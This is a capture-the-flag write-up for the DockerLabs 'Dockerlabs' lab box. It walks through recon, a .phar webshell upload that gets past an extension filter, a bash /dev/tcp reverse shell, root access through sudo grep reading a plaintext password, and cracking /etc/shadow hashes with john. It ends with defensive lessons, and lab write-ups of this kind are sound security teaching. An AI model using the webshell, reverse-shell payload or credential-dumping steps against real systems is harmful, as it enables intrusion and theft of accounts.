the_open_door
coffee
ESEN

Dockerlabs

DockerLabsEasyLinux172.17.0.34 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#file-upload#phar#webshell#reverse-shell#sudo#grep#gtfobins#shadow#john#crypt
TL;DR. DockerLabs' namesake box is an Apache with an upload form that filters by extension. The foothold is getting past that filter by uploading the webshell as .phar, which Apache still hands to PHP: requesting it from /uploads/ drops a reverse shell as www-data. The escalation is a sudo privilege as quiet as it is fatal, grep (and cut) as root: a recursive sudo grep over root's home finds its password in plain text inside /root/clave.txt, and su root closes the box. As a bonus /etc/shadow gets dumped and john breaks the hash of the other user living there, dbadmin.

Recon#

Initial scan#

The port scan leaves a single web service on port 80.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.3

nmap -p80 -sCV 172.17.0.3

The vault note keeps the definitions of the functions the two scans were launched with but not their output, so there is no port table to transcribe here. That 80 is the only service is held up by everything that follows, all of which goes through it.

Behind it is an Apache on Ubuntu with a page of its own:


whatweb http://172.17.0.3
http://172.17.0.3 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.3], Script, Title[Dockerlabs]

Directory fuzzing#

dirsearch finds what matters on the first try: an upload.php and the /uploads/ directory where whatever you upload lands, both readable.


dirsearch -u http://172.17.0.3
[01:44:21] Starting:
...
[01:45:05] 200 -     0B - /upload.php
[01:45:06] 301 -   310B - /uploads →  http://172.17.0.3/uploads/
[01:45:06] 200 -   405B - /uploads/
Task Completed

gobuster with the php extension confirms the inventory and adds machine.php. Five files and no CMS: there is no WordPress here, no panel to attack, just a form.


gobuster dir -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.3 -x php -t 500
[+] Url:                     http://172.17.0.3
[+] Method:                  GET
[+] Threads:                 500
[+] Wordlist:                /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
...
/index.php
/.php
/upload.php
/uploads
/machine.php
/.php
...

Shell as www-data#

The extension filter and the .phar#

upload.php accepts files and drops them in /uploads/, but it filters the extension: a .php does not get through. The filter looks at the name, not at what is inside, and .phar is another of the extensions Apache hands to the PHP interpreter, so naming the file that way is enough (file upload to RCE). Inside goes a reverse shell back to the attacker, which on a Docker network is the gateway 172.17.0.1:


cat revshell.phar
<?php exec("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'")?>

It goes up through the form at http://172.17.0.3/upload.php, which answers «El archivo revshell.phar ha sido subido correctamente», and lands at http://172.17.0.3/uploads/revshell.phar. With the attacker listening on 443:


nc -nlvp 443
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 54788
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e8dc265b02ac:/var/www/html/uploads$

Requesting that URL from the browser runs the exec and the shell drops. The prompt puts it in /var/www/html/uploads, the very directory the file just landed in.

Privilege escalation#

www-data → root (sudo grep)#

www-data can run two binaries as root without a password:


sudo -l
Matching Defaults entries for www-data on e8dc265b02ac:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on e8dc265b02ac:
    (root) NOPASSWD: /usr/bin/cut
    (root) NOPASSWD: /usr/bin/grep

Both are arbitrary read in the full sense (GTFOBins): neither grep nor cut gives a shell, but both dump the contents of any file only root can reach. A recursive run over root's home, asking for whatever starts with a letter, prints its config files whole and, at the end, one that has no business being there:


sudo -u root grep -r "^[a-zA-Z]" root/
root/.profile:if [ "$...
root/.profile:fi
...
root/.bashrc:fi
root/clave.txt:dockerlabsmolamogollon123

/root/clave.txt, with the password in plain text. With it no further trick is needed:


su root
Password:
root@e8dc265b02ac:/# whoami
root

Bonus: dumping and cracking /etc/shadow#

As root you can read /etc/shadow. Almost every account is locked (* or !), but two carry a real hash: root and a dbadmin that had not shown up anywhere.


cat /etc/shadow
root:$y$j9T$ETrB...:19842:0:99999:7:::
daemon:*:19842:0:99999:7:::
...
ubuntu:!:19842:0:99999:7:::
dbadmin:$y$j9T$uBRi...:19842:0:99999:7:::

Both hashes start with $y$, that is yescrypt, which john attacks with the generic crypt format. It is handed ONE of them, and the one that falls is not root's (root's is already known and is a different string) but dbadmin's:


john --format=crypt --wordlist=/home/krmena/rockyoudir/rockyou.txt hash --fork=5
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
...
Node numbers 1-5 of 5 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
penguin          (?)
...
Session aborted

Attack chain#

HTTP (80)  ->  dirsearch and gobuster  ->  upload.php + /uploads/
    └─> extension filter bypassed with .phar  ->  /uploads/revshell.phar  ->  www-data
            └─> sudo -l: grep and cut as root (GTFOBins, arbitrary read)
                    └─> grep -r over root/  ->  /root/clave.txt  ->  su root
                    └─> (bonus) /etc/shadow  ->  john  ->  dbadmin

Lessons learned#

  • An upload filter that looks at the extension filters nothing. .php was banned and .phar was not, and Apache hands both to the same interpreter. What decides whether a file runs is the server configuration, not the application's extension list.
  • And the upload directory should not execute anything. With /uploads/ served as code, any slip in the filter is straight RCE; served as static files, it is not.
  • sudo grep is arbitrary read as root. It looks harmless, and so does cut: they open no shell, but they dump any file (passwords, /etc/shadow, keys) and that is half the escalation. GTFOBins lists them for a reason.
  • Keeping passwords in root's home is giving them away. /root/clave.txt in plain text turns an arbitrary read into the whole box, with nothing to crack.
  • yescrypt is attacked with john --format=crypt. Recognising the hash algorithm ($y$ at the start) is the difference between a crack that progresses and one that never starts.
Command cheatsheet 10 commands

Quick review